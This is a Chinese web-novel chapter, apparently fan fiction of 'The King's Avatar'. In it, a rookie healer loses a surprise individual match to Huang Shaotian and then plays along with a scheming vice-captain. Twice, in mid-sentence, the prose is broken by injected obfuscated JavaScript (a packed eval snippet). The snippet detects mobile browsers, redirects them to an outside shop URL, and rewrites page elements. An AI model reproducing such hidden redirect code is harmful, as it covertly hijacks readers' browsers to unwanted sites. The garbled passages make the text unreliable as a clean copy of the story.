刘皓盯着那张名单看了半天,脸上的表情从疑惑变成难以置信,最后定格在一种复杂的、压抑着怒火的情绪上。 刘皓转过头看向叶秋,声音压得很低,但谁都能听出里面的不满。 “个人赛第一场,让一个治疗上?队长,你这是在开玩笑吗?” 叶秋靠在椅背上,手里拿着根没点的烟转来转去,眼皮都没抬:“名单已经报了,改不了。” 刘皓深吸一口气,明显在克制自己:“我不是质疑队长的决定,但这是蓝雨,对面第一场大概率是黄少天。让一个刚出道的新人、还是个治疗,去打黄少天?这不是送分吗?” 叶秋终于抬起眼睛看了刘皓一眼,语气还是那副懒洋洋的样子:“送分就送分,一场个人赛而已。” 刘皓被噎了一下,张了张嘴想说什么,最终还是没说出来,只是沉着脸转身走了。 训练室里的其他人互相交换了几个眼神,谁都没敢出声。 夏轻禾坐在自己的位置上,手指在键盘上轻轻敲着,脸上没什么表情,但心里其实有点打鼓。刘皓说得没错,对面大概率是黄少天。 那个话痨剑圣,技术顶尖,嘴皮子也顶尖,对上他,不管是打比赛还是打嘴仗,都够呛。 但名单已经报了,改不了,那就只能硬着头皮上。 比赛当天,场馆里座无虚席。蓝雨那边的粉丝举着灯牌,黄少天的名字闪闪发光。 嘉世这边也有不少支持者,但气势上明显弱了一截。 个人赛第一场,双方选手入场。 蓝雨那边走出来的果然是黄少天,一身蓝雨队服,脸上带着笑容,朝观众席挥了挥手,引来一阵尖叫。 嘉世这边,夏轻禾从通道里走出来,脚步平稳,脸上没什么表情。她穿着嘉世的红色队服,头发扎成马尾,看起来比实际年龄还要小一点。 全场安静了一秒。 然后解说席上传来一声明显的吸气声,紧接着是解说结结巴巴的声音:“这、这是……嘉世个人赛第一场派出的选手是夏轻禾?织影?那个牧师?” 另一个解说也懵了,小声嘀咕:“我是不是睡太晚出现幻觉了……” 黄少天愣在那里,脸上那笑容凝固成一个很奇怪的表情。他张了张嘴,想说什么,但一时之间竟然不知道说什么好。 全场粉丝也傻了。蓝雨那边的粉丝区静悄悄的,嘉世这边的粉丝区也是静悄悄的,所有人都盯着大屏幕,盯着那行荒唐的出场信息,脑子里冒出同一个念头:这是怎么回事?牧师打个人赛?还是打黄少天? 选手通道里,黄少天走出来的时候,脸上的表情复杂得难以形容。 他看向对面走出来的夏轻禾,那姑娘一脸平静,甚至还有点跃跃欲试的样子。 冤家路窄啊,黄少天心里冒出一句话。 两人各自走进比赛舱,登录角色,进入地图。 他坐到电脑前,戴上耳机,调试了一下设备,然后看向对面的夏轻禾。 按照惯例,黄少天准备用垃圾话给对方施加点压力,但刚开口说了没几句,就发现这丫头嘴皮子利索得不像新人,几句来回之后,黄少天难得地闭上了嘴,专心投入到比赛中。 比赛正式开始。 黄少天的夜雨声烦开场就是一记幻影无形剑,剑光如暴雨般倾泻而下,这是剑圣最拿手的起手式,速度快、覆盖广,通常能在第一时间压制对手。 夏轻禾的织影没有硬接,圣戒之光在脚下炸开,借着反震的力道往后撤了半个身位,堪堪避开剑光最密集的区域。 神圣之火同时出手,淡金色的光芒在地面上铺开,封住了黄少天直线追击的路线。 黄少天的反应极快,夜雨声烦在剑光中一个急停,侧向滑步,绕开了神圣之火的范围。 冰雨剑带着寒光斜刺过来,角度刁钻,直取织影侧翼。 夏轻禾的手指在键盘上飞快敲击,织影没有后退,反而往前迎了半步,十字架横在身侧,硬吃了这一剑的部分伤害,同时升天阵的光圈在脚下绽开。 这个时机抓得很准,如果黄少天继续追击,正好会被升天阵浮空。 但黄少天怎么可能这么容易中招。夜雨声烦在剑光触及织影的瞬间已经做出了受身操作的准备,当升天阵的光圈亮起时,剑客的身体已经借着力道向后翻出,不仅避开了浮空效果,还在空中顺势一记落凤斩劈下。 夏轻禾咬着下唇,织影在落凤斩落下的瞬间向左侧翻滚。剑光擦着角色的肩甲划过,带起一串火星,血量掉了一小截,但好歹避开了要害。 她没有停顿,翻滚途中就丢出了一道圣光打,白色的光束直射夜雨声烦落地位置。 黄少天刚落地就看到光束袭来,冰雨剑横在身前格挡,虽然挡住了,但角色的动作有了短暂的僵直。 就是这短暂的僵直,给了夏轻禾调整的机会。 织影站起来,快速后退,同时给自己刷了一个恢复术,稳住血线。 从比赛开始到现在不到二十秒,她已经完成了两次规避、一次反击、一次自疗,节奏快得惊人。 黄少天眼前一亮,他看出来了,这丫头不是在乱打,每一个操作都有目的。 刚才那个升天阵的时机,那个圣光打的预判,还有那个侧滚的角度,都显示出她对自己的技能和对手的习惯有着清晰的理解。 虽然用的是牧师,输出手段少得可怜,但这丫头的意识和反应速度,比很多一线职业选手都不差。 可惜,职业比赛不是光靠意识和反应就能赢的。 夜雨声烦再次压上,这一次黄少天没有给夏轻禾任何喘息的机会。 冰雨剑的剑光织成一张密不透风的网,从各个角度封死织影的退路。 夏轻禾拼尽全力操作,十字架一次次格挡,身形一次次闪避,但剑圣的攻势太密集了,躲过一剑,下一剑就到了眼前。 她的血量一点一点往下掉,恢复术的冷却时间根本跟不上消耗的速度。 又是一次交锋,夜雨声烦的剑光从左侧刺来,夏轻禾侧身躲避,却发现这只是虚招,真正的杀招是从右侧劈来的落凤斩。 她来不及完全躲开,只能让织影稍微侧了侧身,让剑锋擦着肩膀过去,同时十字架反手挥出,敲在夜雨声烦的剑身上。 这一击伤害微乎其微,但产生的细微震动让黄少天的下一剑慢了零点几秒,给了她往后拉开距离的机会。 黄少天挑了挑眉。这丫头,在这种被压制的局面下还能想到用这种小动作来争取时间,确实有两下子。 但也就到此为止了。 夜雨声烦的剑光骤然变得虚幻,数道剑影凭空浮现,交织成一片令人眼花缭乱的剑网——幻影无形剑的最后一式,也是最难躲避的一式。 夏轻禾的瞳孔微缩,手指在键盘上几乎划出残影,织影在剑网中左冲右突,连续避开了三道剑影,但第四道、第五道结结实实地落在身上。 血量瞬间见底,屏幕上的角色陷入僵直状态,黄少天最后一记上挑,织影被挑飞到空中,然后重重落在地上。 比赛结束。 织影倒地的那一刻,夏轻禾松开鼠标,长长地呼出一口气。 她盯着屏幕上灰下去的画面,沉默了两秒,然后摘下耳机。脸上没有太多沮丧的表情,反而带着一种若有所思的神色,像是在复盘刚才那短短几分钟里自己每一个操作的得失。 黄少天也摘下了耳机。赢了比赛,但他脸上却没有平时那种嘚瑟的笑容。 他看了一眼对面那个站起来、正在活动手腕的夏轻禾,眉头微微皱着。 赢了,确实赢了,赢得也不难看,一套连招就带走了。但整个过程让他觉得有点奇怪。 那种感觉就像一拳打在棉花上,虽然打中了,但棉花一点事没有,自己的拳头反而有点空落落的。 她的操作,从始至终都透着一股韧劲。明明知道赢不了,却一次都没有放弃抵抗。 明明被压制得喘不过气,却总能找到角度反击,哪怕只是微乎其微的一击。 那种打法,不是那种“反正要输随便打打”的态度,而是真正在思考、在尝试、在寻找每一个可能的机会。 哪怕是最后被幻影无形剑命中之前,她还在试图用走位躲开剑影,试图用十字架格挡,试图找到那一线生机。 解说席上,解说擦了擦额头的汗,对着话筒说:“这场比赛……怎么说呢,虽然结果是黄少天赢了,但过程真的让人意想不到。一个牧师,在个人赛里跟剑圣打了三分钟,还逼得黄少天认真起来……这姑娘,有点东西。” 另一个解说点头附和:“而且你们发现没有,这两人不光在游戏里打,还在公共频道对喷。那垃圾话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195877|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来我往的,我看得都眼花缭乱。这么多年解说下来,还是第一次见到有人能跟黄少天吵得有来有回的。” “确实确实,这夏轻禾,嘴皮子功夫跟手上功夫都挺厉害。” 黄少天走下比赛台,回到蓝雨选手席,一屁股坐到椅子上,托着下巴,盯着前方发呆。 郑轩走过来,一屁股坐到黄少天旁边,伸手重重拍了拍黄少天的肩膀,力气大得让黄少天整个人晃了一下。 “哎哟,黄少这是怎么了?赢了比赛还这副表情?不会是被那个牧师妹子打傻了吧?不是说三分钟就解决了吗?怎么看起来比输了还难受?” 黄少天转过头,给了郑轩一记眼刀。 郑轩立刻识趣地举起双手,表示投降,然后笑嘻嘻地退到一边。“开个玩笑,开个玩笑,别当真。” 黄少天继续托着下巴,维持着那副沉思者的造型。旁边的队员们在讨论刚才的比赛,笑声和说话声混在一起,但黄少天一句也没听进去。 他又转回去继续盯着那个方向发呆。郑轩顺着他的目光看过去,那边是嘉世的选手席,夏轻禾正坐在位置上,跟旁边的苏沐橙说着什么,脸上带着笑,看不出刚输了比赛的样子。 郑轩挠了挠头,小声嘀咕:“奇怪,真奇怪。” 喻文州坐在不远处,目光落在黄少天身上,看了一会儿,然后收回视线,继续看手里的资料,嘴角微微弯了一下。 比赛最终以嘉世主场告负结束。蓝雨整体实力更强,配合更默契,拿下这场比赛并不意外。 但赛后所有人的关注点,都不在胜负上,而在于那场匪夷所思的个人赛。 网上炸开了锅。热搜榜上,“嘉世牧师打个人赛”“夏轻禾对决黄少天”“治疗打剑圣”几个话题轮流往上窜,阅读量蹭蹭往上涨。 论坛里帖子刷得飞快,有讨论战术的,有分析比赛细节的,还有不少人在求两人那几分钟对决的慢放录像。 赛后采访区,记者们早早地架好设备,等着蓝雨的选手出来。当黄少天出现的时候,七八个话筒同时递到他面前,闪光灯闪成一片。 “黄少,请谈谈刚才那场比赛!” “对于嘉世派治疗打个人赛,你有什么看法?” “你和夏轻禾选手在比赛中的交锋,感觉怎么样?” 黄少天站在那里,面对这些七嘴八舌的问题,沉默了足足五秒钟。 这在黄少天身上是极其罕见的,他平时遇到采访,话匣子一打开就收不住,能从比赛战术聊到食堂伙食。 但这次,他只是沉默着,像是在思考什么很严肃的问题。 终于,黄少天开口了,声音比平时低了不少:“……我觉得没什么好说的。” 说完这句话,黄少天就绕过记者们,径直走开了,留下一群面面相觑的记者。 当晚,各大媒体纷纷发出报道。标题一个比一个夸张。 “黄少天赛后罕见沉默:我觉得没什么好说的” “嘉世新人对决剑圣,虽败犹荣。” “治疗打个人赛?嘉世新战术引发热议。” “蓝雨胜嘉世,但焦点全在输家身上。” 其中有一家媒体,为了吸引眼球,把标题起得格外有煽动力:“黄少天被牧师奇招打得怀疑人生?赛后沉默不语。” 报道里绘声绘色地描述了黄少天比赛中的表情变化,赛后的沉默,以及那句“没什么好说的”,添油加醋地分析了一通,最后得出结论:这位嘉世新人用一种匪夷所思的方式,给剑圣留下了心理阴影。 黄少天躺在蓝雨宿舍的床上,刷到这条报道的时候,差点把手机砸了。他坐起来,盯着那段文字,脸上表情精彩极了。 “我被她打得怀疑人生?”黄少天对着空气自言自语,“我赢了好吗!赢得干净利落好吗!什么叫被她打得怀疑人生?这些记者会不会写?” 旁边床上的郑轩翻了个身,迷迷糊糊地说:“少天你嘀咕什么呢……大半夜的……” 黄少天张了张嘴,想说什么,最后还是憋了回去,重新躺下,把手机扔到一边。 盯着天花板,脑子里又浮现出夏轻禾的脸,还有那个平静中带着挑衅的眼神。 这家伙……真是…… 第二天训练的时候,黄少天还是那副提不起劲的样子,被喻文州叫去单独聊了会儿。 从队长房间出来的时候,黄少天脸上那表情总算正常了点,但偶尔还是会走神,不知道在想什么。 郑轩凑过来,小声问:“队长跟你说什么了?” 黄少天白了他一眼:“没说什么,就聊了聊战术。” “那你干嘛还这副魂不守舍的样子?” 黄少天没回答,只是看着窗外发呆。 38.鬼迷心窍 两场匪夷所思的比赛让夏轻禾的人气像坐了火箭一样往上蹿。 论坛上她的讨论帖盖了几千楼,微博粉丝数从几千涨到十几万,连带着嘉世官博的访问量都翻了好几倍。 最直接的体现就是各种商业邀约开始找上门来,广告拍摄、品牌代言、商业活动,陶轩的办公桌上堆满了各种各样的合作意向书。 夏轻禾接到第一个广告拍摄通知的时候,整个人都是懵的。她坐在陶轩办公室里,看着面前那份印着某个知名外设品牌logo的合同,翻来覆去看了好几遍,才确认这不是什么整蛊节目。 陶轩坐在对面,脸上的笑容灿烂得跟捡到宝似的,手指在桌面上轻轻敲着,语气里带着掩饰不住的满意。 “小禾啊,你这开局打得是真漂亮。”陶轩笑着说,“两场比赛,一个热搜,现在外面多少人盯着你。这个广告是第一个,后面还有好几个在谈。你放心,俱乐部会帮你把好关,不会让你吃亏的。” 夏轻禾拿着那份合同,心里有点受宠若惊。她一个刚出道的新人,这才打了两场比赛,就有广告找上门了?这也太快了吧。 但转念一想,陶轩说得也没错,那两场比赛确实闹得挺大,网上讨论的人多,有商业价值也正常。她点点头,在陶轩指的地方签了字。 陶轩收好合同,心情好得不得了。送走夏轻禾之后,他靠在老板椅上,难得地给了叶秋一个正面评价。 这个决定当初刘皓反对得厉害,现在看来,叶秋那家伙虽然平时不着调,但这种时候眼光还是准的。 比赛输了蓝雨这件事,在陶轩这里已经被自动归类为可以接受的代价。毕竟商业价值上来了,输一场常规赛算什么。 但有人高兴就有人不高兴。 比赛结束那天晚上,叶秋的企鹅就被方士谦的消息炸了。 消息一条接一条往外蹦,内容五花八门,中心思想只有一个:叶秋你脑子进水了?让一个牧师去打个人赛?还让她在团队赛里冲对面后排跟人家牧师对A?你是不是嫌我们微草出来的人太闲了想找点事? 叶秋看着那些消息,慢悠悠地回了一句:“赢了就行。” 方士谦秒回:“赢什么赢?你们输了!” 叶秋:“我说的是个人赛之后的那些。” 方士谦那边沉默了几秒,然后又是一串消息砸过来,大意是叶秋你这个心脏的家伙又在打什么鬼主意。 叶秋没再回,只是关掉对话框,靠在椅背上,嘴角弯了弯。 整个嘉世俱乐部里,最不乐意的就是刘皓了。 训练室里键盘敲击声此起彼伏,阳光从窗户照进来。 叶秋站在夏轻禾身后,盯着屏幕,时不时开口指点几句。 “这个位置不对,你往前压的时候应该留三分力,方便后撤。” “刚才那个连招,天击之后可以直接接落花掌,不用等龙牙。” “走位太靠前了,你的视角没拉开,对面刺客在那个位置蹲了五秒你都没看到。” 夏轻禾一边操作一边点头,手指在键盘上飞快敲击,按照叶秋说的调整自己的节奏。 屏幕上她的战斗法师在训练场里来回穿梭,一遍遍练习着那些基础的连招和走位。 虽然被叶秋挑出一堆毛病,但她脸上没什么沮丧的表情,反而越练越认真。 训练间隙,夏轻禾靠在椅背上活动手腕,刚喝了口水,就感觉身边多了一个人。 刘皓不知道什么时候走了过来,在旁边的椅子上坐下,脸上带着那种看起来挺关心的表情,凑近了一点,压低声音说:“小禾啊,刚才队长对你是不是太严格了?我看他一直在挑你毛病,你这样练压力大不大?” 夏轻禾眨了眨眼睛,看向刘皓,脸上露出一点困惑的表情:“没有啊,刘副队。叶秋队长说的都是对的,那些地方我确实没做好,他指出来我才能改。” 刘皓脸上的笑容僵了一瞬,但很快又恢复过来,换上一副更语重心长的表情:“你刚来,不了解情况。叶秋队长这个人吧,要求是挺高的,有时候高得有点过分。你想想,他让你一个牧师去打个人赛,让你去跟对面牧师对A,这哪是正常人能想出来的战术?输了比赛他倒没什么,但你一个新人的压力多大啊。” 夏轻禾听着,脸上的表情慢慢变得认真起来,像是在思考什么很严肃的问题。 她看着刘皓,那双眼睛瞪得圆圆的,透着一种单纯的求知欲。 “刘副队,你的意思是……”夏轻禾拖长了声音,表情渐渐变得有点失望,“叶秋队长其实是在故意为难我?” 刘皓心里大喜,面上却还是一副替她着想的样子,用力点了点头:“我也不是说他故意为难你,但有些事情你得自己留个心眼。职业圈里的事,没那么简单的。” 他伸出手,在夏轻禾肩膀上拍了拍,力道不重,但带着一种安慰的意味:“没事,有什么困难跟我说。我会一直站在你身边的。” 夏轻禾盯着刘皓看了两秒,然后脸上绽开一个灿烂的笑容,用力点了点头:“我知道了!谢谢刘副队!你人真好!” 刘皓被这突如其来的笑容晃了一下,愣了一下,心里莫名涌起一股奇怪的感觉。 这新人,这么好骗?这么容易就信了? 还没等他想明白,夏轻禾已经站起来,朝他挥了挥手:“那刘副队,我先去找沐橙姐姐啦!她刚才叫我过去说点事!” “哦……去吧去吧。”刘皓下意识地回应。 夏轻禾转身就跑,马尾辫在脑后一甩一甩的,脚步轻快地朝训练室另一头跑去。 苏沐橙正坐在那边看资料,看到夏轻禾跑过来,抬起头笑了笑。两个女孩凑到一起,脑袋挨着脑袋,不知道在说什么,时不时传出几声轻笑。 刘皓一个人坐在原地,看着那边的画面,眉头慢慢皱起来。 他怎么觉得……那么不对劲呢? 那股不对劲又说不上来,明明那丫头看起来挺相信他的,笑得那么灿烂,还夸他人好。但就是有什么地方不对。 刘皓想了半天,没想出来,最后摇摇头,站起来走了。 中午食堂吃饭的时候,阳光从落地窗照进来,把整个餐厅照得亮堂堂的。 夏轻禾端着餐盘,在叶秋和苏沐橙对面坐下。 她往四周看了看,确认刘皓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213278|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在附近,然后压低声音,把上午刘皓跟她说的那些话一字不差地复述了一遍。 说到一半,她自己先忍不住笑出声来,笑得肩膀一抖一抖的,手里的筷子差点没拿稳。 苏沐橙听了,也笑起来,用手掩着嘴。 叶秋脸上倒没什么特别的表情,只是夹菜的动作顿了一下,然后继续慢条斯理地吃饭。 等夏轻禾说完,他抬起眼皮看了她一眼,嘴角微微弯了弯。 “演得不错。”叶秋说,语气平淡,但里面带着一丝明显的赞许。 夏轻禾眼睛亮起来,凑近一点,压低声音问:“那叶秋哥,我们要不要继续演他?” 叶秋把一块排骨夹进碗里,嚼了几下咽下去,才慢悠悠地开口:“演,怎么不演。他不是最喜欢演吗?陪他演到底。” 苏沐橙在旁边笑着插话:“你们两个可真是……” 夏轻禾嘿嘿笑了两声,低头扒饭,脑子里已经开始转着各种念头。 刘皓那点小心思,她又不是看不出来。之前在微草的时候,方士谦就教过她,职业圈里什么人都有,自己多个心眼没坏处。 刘皓那些话,表面上听着是关心,实际上句句都在往叶秋身上泼脏水。 这种把戏,她要是真信了,那才是傻子。 但既然刘皓喜欢演,那她就陪他演。反正演戏又不累,还能看看他到底想干什么。 窗外的阳光照进来,落在餐桌上,镀上一层暖洋洋的金色。 三个人围坐在一起,边吃边聊,偶尔传出几声轻笑,看起来和平时没什么两样。 吃完饭往回走的路上,夏轻禾忽然想起什么,问叶秋:“叶秋哥,你说他为什么这么针对你啊?” 叶秋脚步没停,语气还是那样懒洋洋的:“不知道,也没兴趣知道。” 苏沐橙在旁边轻轻叹了口气,没说话。 夏轻禾看看叶秋,又看看苏沐橙,也没再问。但她心里记下了这件事,想着以后有机会再慢慢弄清楚。 下午的训练照常进行。夏轻禾坐在电脑前,一遍遍练习着那些基础连招,手指在键盘上跳跃。 叶秋偶尔过来指点两句,更多时候是坐在旁边自己训练,两个人各自对着屏幕,键盘声此起彼伏。 训练间隙,刘皓又端着水杯晃过来了。这次他脸上带着更温和的笑容,在小禾旁边坐下,轻声问:“下午练得怎么样?累不累?” 夏轻禾转过头,脸上露出那个开朗的笑容道:“还好,谢谢刘副队关心。” 刘皓点点头,又说:“要是有什么不懂的,随时问我。虽然我不是玩牧师的,但职业选手的经验还是有的。” “好的好的,一定。”夏轻禾乖巧地点头。 刘皓满意地站起来,拍拍夏轻禾的肩膀,走了。 等他走远,夏轻禾转回头盯着屏幕,翻了个白眼嘴角抽了抽,差点笑出来。 她深吸一口气,把那股笑意压下去,继续盯着屏幕上的技能冷却时间。 训练室另一头,苏沐橙抬起头,朝这边看了一眼,正好对上夏轻禾的目光。两个人交换了一个眼神,又各自移开,继续训练。